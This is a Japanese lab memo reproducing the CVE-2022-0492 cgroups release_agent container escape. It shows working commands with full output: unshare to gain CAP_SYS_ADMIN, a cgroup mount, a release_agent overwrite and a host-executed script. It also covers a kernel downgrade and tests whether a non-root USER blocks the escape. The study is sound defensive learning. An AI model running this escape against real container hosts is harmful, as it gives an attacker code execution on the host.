コンテナなセキュリティの理解を深めるために CVE-2022-0492 を試してみるメモ。
前提として、CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを前回のブログで確認した。
参考資料
- 脆弱性に学ぶコンテナセキュリティ (動画)
- cgroupsに影響するLinuxの新たな脆弱性CVE-2022-0492 コンテナエスケープの条件は
- CVE-2022-0492: コンテナのエスケープによる特権の昇格の脆弱性
脆弱性修正済みのバージョンでの検証
Ubuntu で Cloud9 を起動する。
カーネルバージョンを確認する。
Admin:~/environment $ uname -r 5.4.0-1069-aws Admin:~/environment $
こちらによると、CVE-2022-0492 は 5.4.0-1069.73
で修正されていそうに見える。
このままこのバージョンで試してみる。Seccomp と AppArmor の無効化が必要なことに注意。capsh
コマンドを入れておく。
Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu Unable to find image 'ubuntu:latest' locally latest: Pulling from library/ubuntu 4d32b49e2995: Pull complete Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb Status: Downloaded newer image for ubuntu:latest root@4765d3efdb9f:/# apt-get update && apt-get install -y libcap2-bin (snip)
このプロセスは CAP_SYS_ADMIN は持っていない。
root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin root@4765d3efdb9f:/#
unshare
コマンドで、親とは別の Namespace で bash
を実行すると、CAP_SYS_ADMIN を持つことができる。
root@4765d3efdb9f:/# unshare -UrmC bash root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read root@4765d3efdb9f:/#
なお、unshare
のオプションは以下の通り。
root@4765d3efdb9f:/# unshare -h Usage: unshare [options] [<program> [<argument>...]] Run a program with some namespaces unshared from the parent. Options: -m, --mount[=<file>] unshare mounts namespace -u, --uts[=<file>] unshare UTS namespace (hostname etc) -i, --ipc[=<file>] unshare System V IPC namespace -n, --net[=<file>] unshare network namespace -p, --pid[=<file>] unshare pid namespace -U, --user[=<file>] unshare user namespace -C, --cgroup[=<file>] unshare cgroup namespace -f, --fork fork before launching <program> -r, --map-root-user map current user to root (implies --user) --kill-child[=<signame>] when dying, kill the forked child (implies --fork) defaults to SIGKILL --mount-proc[=<dir>] mount proc filesystem first (implies --mount) --propagation slave|shared|private|unchanged modify mount propagation in mount namespace --setgroups allow|deny control the setgroups syscall in user namespaces -R, --root=<dir> run the command with root directory set to <dir> -w, --wd=<dir> change working directory to <dir> -S, --setuid <uid> set uid in entered namespace -G, --setgid <gid> set gid in entered namespace -h, --help display this help -V, --version display version For more details see unshare(1). root@4765d3efdb9f:/#
ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp
ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。
root@4765d3efdb9f:/# mkdir /tmp/cgrp root@4765d3efdb9f:/# mount -t cgroup -o rdma cgroup /tmp/cgrp root@4765d3efdb9f:/# mount | grep "cgroup (rw" cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma) root@4765d3efdb9f:/# mkdir /tmp/cgrp/x root@4765d3efdb9f:/#
ディレクトリとファイルを確認する。
root@4765d3efdb9f:/# ls -l /tmp/cgrp/ total 0 -rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.procs -r--r--r-- 1 root root 0 Mar 29 06:21 cgroup.sane_behavior -rw-r--r-- 1 root root 0 Mar 29 06:21 notify_on_release -rw-r--r-- 1 root root 0 Mar 29 06:21 release_agent -rw-r--r-- 1 root root 0 Mar 29 06:21 tasks drwxr-xr-x 2 root root 0 Mar 29 06:22 x root@4765d3efdb9f:/# ls -l /tmp/cgrp/x/ total 0 -rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.procs -rw-r--r-- 1 root root 0 Mar 29 06:22 notify_on_release -r--r--r-- 1 root root 0 Mar 29 06:22 rdma.current -rw-r--r-- 1 root root 0 Mar 29 06:22 rdma.max -rw-r--r-- 1 root root 0 Mar 29 06:22 tasks root@4765d3efdb9f:/#
子 cgroup の notify_on_realse
を 1
にする。
root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release root@9d03d13ac863:/#
ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent
に書き込む。
root@4765d3efdb9f:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@4765d3efdb9f:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent bash: echo: write error: Operation not permitted root@4765d3efdb9f:/#
ここで失敗となった。脆弱性が修正されているということだと思われるので、カーネルをダウングレードする。
カーネルのダウングレード
カーネルをダウングレード場合のやり方は以下が参考になりそう。
Admin:~/environment $ dpkg --list | grep linux-image ii linux-image-5.4.0-1068-aws 5.4.0-1068.72~18.04.1 amd64 Signed kernel image aws ii linux-image-5.4.0-1069-aws 5.4.0-1069.73~18.04.1 amd64 Signed kernel image aws ii linux-image-aws 5.4.0.1069.51 amd64 Linux kernel image for Amazon Web Services (AWS) systems. Admin:~/environment $
しかし、一つ前のバージョンのカーネルもインストールされているようなので、以下のリンクを参照に、一つ前のバージョンのカーネルを指定して起動することにする。
管理用の設定ファイルを編集する。
Admin:~/environment $ sudo vi /etc/default/grub # 以下を編集 # GRUB_DEFAULT=0 GRUB_DEFAULT="1>2"
実際に使われる設定ファイルを生成する。
Admin:~/environment $ sudo update-grub Sourcing file `/etc/default/grub' Sourcing file `/etc/default/grub.d/50-cloudimg-settings.cfg' Generating grub configuration file ... Found linux image: /boot/vmlinuz-5.4.0-1069-aws Found initrd image: /boot/initrd.img-5.4.0-1069-aws Found linux image: /boot/vmlinuz-5.4.0-1068-aws Found initrd image: /boot/initrd.img-5.4.0-1068-aws done Admin:~/environment $
再起動する。
sudo shutdown -r now
脆弱性のあるカーネルでの検証
カーネルバージョンを確認する。脆弱性のあるバージョンになっている。
Admin:~/environment $ uname -r 5.4.0-1068-aws Admin:~/environment $
先ほどと同様にコンテナを起動する。capsh
コマンドを入れておく。
Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu root@1685f29c7bf7:/# apt-get update && apt-get install -y libcap2-bin (snip)
このプロセスは CAP_SYS_ADMIN は持っていない。
root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin root@1685f29c7bf7:/#
unshar
e コマンドで、親とは別の Namespace で bash
を実行すると、CAP_SYS_ADMIN を持つことができる。
root@1685f29c7bf7:/# unshare -UrmC bash root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read root@1685f29c7bf7:/#
ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp
ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。
root@1685f29c7bf7:/# mkdir /tmp/cgrp root@1685f29c7bf7:/# mount -t cgroup -o rdma cgroup /tmp/cgrp root@1685f29c7bf7:/# mount | grep "cgroup (rw" cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma) root@1685f29c7bf7:/# mkdir /tmp/cgrp/x
ディレクトリとファイルを確認する。
root@1685f29c7bf7:/# ls -l /tmp/cgrp/ total 0 -rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs -r--r--r-- 1 root root 0 Mar 29 06:37 cgroup.sane_behavior -rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release -rw-r--r-- 1 root root 0 Mar 29 06:37 release_agent -rw-r--r-- 1 root root 0 Mar 29 06:37 tasks drwxr-xr-x 2 root root 0 Mar 29 06:37 x root@1685f29c7bf7:/# ls -l /tmp/cgrp/x/ total 0 -rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs -rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release -r--r--r-- 1 root root 0 Mar 29 06:37 rdma.current -rw-r--r-- 1 root root 0 Mar 29 06:37 rdma.max -rw-r--r-- 1 root root 0 Mar 29 06:37 tasks root@1685f29c7bf7:/#
子 cgroup の notify_on_realse
を 1
にする。
root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release root@9d03d13ac863:/#
ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent
に書き込む。
root@1685f29c7bf7:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@1685f29c7bf7:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent root@1685f29c7bf7:/#
今度は成功した。release_agent
を確認する。
root@1685f29c7bf7:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd root@1685f29c7bf7:/#
cmd
を作成する。
root@1685f29c7bf7:/# echo '#!/bin/sh' > /cmd root@1685f29c7bf7:/# echo "ps aux > $host_path/output" >> /cmd root@1685f29c7bf7:/# chmod a+x /cmd root@1685f29c7bf7:/#
cmd
の内容を確認する。
root@1685f29c7bf7:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/output root@1685f29c7bf7:/#
これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props
に書き込む。
root@1685f29c7bf7:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@1685f29c7bf7:/#
ホスト側でコマンドを実行した出力が確認できた。
root@1685f29c7bf7:/# head /output USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.6 0.4 159524 8812 ? Ss 06:33 0:02 /sbin/init root 2 0.0 0.0 0 0 ? S 06:33 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 06:33 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 06:33 0:00 [rcu_par_gp] root 5 0.0 0.0 0 0 ? I 06:33 0:00 [kworker/0:0-eve] root 6 0.0 0.0 0 0 ? I< 06:33 0:00 [kworker/0:0H-kb] root 8 0.0 0.0 0 0 ? I 06:33 0:00 [kworker/u4:0-ev] root 9 0.0 0.0 0 0 ? I< 06:33 0:00 [mm_percpu_wq] root 10 0.0 0.0 0 0 ? S 06:33 0:00 [ksoftirqd/0] root@1685f29c7bf7:/#
USER 指定していた場合
Dockerfile で USER 指定していたら防げるのかを確認しておく。
docker run のオプションでもよさそうだが、Dockerfile での指定で確認する。
cat << EOF > Dockerfile FROM ubuntu RUN useradd -U -l -M -s /bin/false appuser USER appuser EOF
イメージをビルドする。
Admin:~/environment $ docker build -t test . Sending build context to Docker daemon 11.78kB Step 1/3 : FROM ubuntu ---> ff0fea8310f3 Step 2/3 : RUN useradd -U -l -M -s /bin/false appuser ---> Running in 90b6a092b56a Removing intermediate container 90b6a092b56a ---> 54dd50e9ae12 Step 3/3 : USER appuser ---> Running in fea20705f8d2 Removing intermediate container fea20705f8d2 ---> 6f9bb7e8d5cf Successfully built 6f9bb7e8d5cf Successfully tagged test:latest Admin:~/environment $
このイメージで同じことを試す。
Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test appuser@84c29e791eeb:/$ cat /proc/self/status | grep CapEff CapEff: 0000000000000000 appuser@84c29e791eeb:/$ unshare -UrmC bash root@84c29e791eeb:/# cat /proc/self/status | grep CapEff CapEff: 0000003fffffffff root@84c29e791eeb:/# mkdir /tmp/cgrp root@84c29e791eeb:/# mount -t cgroup -o rdma cgroup /tmp/cgrp root@84c29e791eeb:/# mount | grep "cgroup (rw" cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma,release_agent=/var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd) root@84c29e791eeb:/# mkdir /tmp/cgrp/xx mkdir: cannot create directory '/tmp/cgrp/xx': Permission denied root@84c29e791eeb:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@84c29e791eeb:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent bash: /tmp/cgrp/release_agent: Permission denied root@84c29e791eeb:/#
意外なことに、unshare を実行してケーパビリティを取得することはできていそうで、RW でのマウントもできていそうだが、ファイルの書き込みには失敗している。
unshare するとケーバビリティが取得できるのか
unshare できればケーパビリティが取得できているように見えるが、本当にそうなのか、コンテナの中からではなくホスト上から確認する。
コンテナを実行する。
Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash root@942ea4ea9620:/# unshare -UrmC bash root@942ea4ea9620:/# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 07:22 pts/0 00:00:00 bash root 10 1 0 07:23 pts/0 00:00:00 bash root 13 10 0 07:23 pts/0 00:00:00 ps -ef root@942ea4ea9620:/#
別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。
Admin:~/environment $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 942ea4ea9620 ubuntu "bash" About a minute ago Up About a minute beautiful_chatterjee Admin:~/environment $ docker top 942ea4ea9620 UID PID PPID C STIME TTY TIME CMD root 8197 8173 0 07:22 pts/0 00:00:00 bash root 8260 8197 0 07:23 pts/0 00:00:00 bash Admin:~/environment $ ps -ef | grep 8197 root 8197 8173 0 07:22 pts/0 00:00:00 bash root 8260 8197 0 07:23 pts/0 00:00:00 bash ubuntu 8405 5667 0 07:26 pts/5 00:00:00 grep 8197 Admin:~/environment $
ホスト上からそれぞれのプロセスのケーパビリティを確認する。
Admin:~/environment $ cat /proc/8197/status | grep CapEff CapEff: 00000000a80425fb Admin:~/environment $ capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Admin:~/environment $ cat /proc/8260/status | grep CapEff CapEff: 0000003fffffffff Admin:~/environment $ capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
USER 指定したコンテナでも同じことを試す。unshare で -r (--map-root-user) オプションを付けているので、app-user が root にマップされている。
Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test appuser@f1f10ca183e9:/$ ps -ef UID PID PPID C STIME TTY TIME CMD appuser 1 0 1 07:30 pts/0 00:00:00 bash appuser 8 1 0 07:30 pts/0 00:00:00 ps -ef appuser@f1f10ca183e9:/$ unshare -UrmC bash root@f1f10ca183e9:/# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 07:30 pts/0 00:00:00 bash root 9 1 0 07:30 pts/0 00:00:00 bash root 11 9 0 07:30 pts/0 00:00:00 ps -ef root@f1f10ca183e9:/#
別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。コンテナ上の appuser ユーザーの UID が 1000 で、ホスト上の ubuntu ユーザーの UID も 1000 なので、ubuntu ユーザーで実行されている。
Admin:~/environment $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f1f10ca183e9 test "bash" 33 seconds ago Up 32 seconds suspicious_merkle Admin:~/environment $ docker top f1f10ca183e9 UID PID PPID C STIME TTY TIME CMD ubuntu 8990 8968 0 07:30 pts/0 00:00:00 bash ubuntu 9039 8990 0 07:30 pts/0 00:00:00 bash Admin:~/environment $ ps -ef | grep 8990 ubuntu 8990 8968 0 07:30 pts/0 00:00:00 bash ubuntu 9039 8990 0 07:30 pts/0 00:00:00 bash ubuntu 9151 5667 0 07:32 pts/5 00:00:00 grep 8990 Admin:~/environment $
ホスト上からそれぞれのプロセスのケーパビリティを確認する。
Admin:~/environment $ cat /proc/8990/status | grep CapEff CapEff: 0000000000000000 Admin:~/environment $ capsh --decode=0000000000000000 0x0000000000000000= Admin:~/environment $ cat /proc/9039/status | grep CapEff CapEff: 0000003fffffffff Admin:~/environment $ capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Admin:~/environment $
これはどういう状態と考えるべきなのか理解できない。非 root だがケーパビリティを持っている状態? unshare コマンドが実行できてしまうとかなり危険ということだろうか?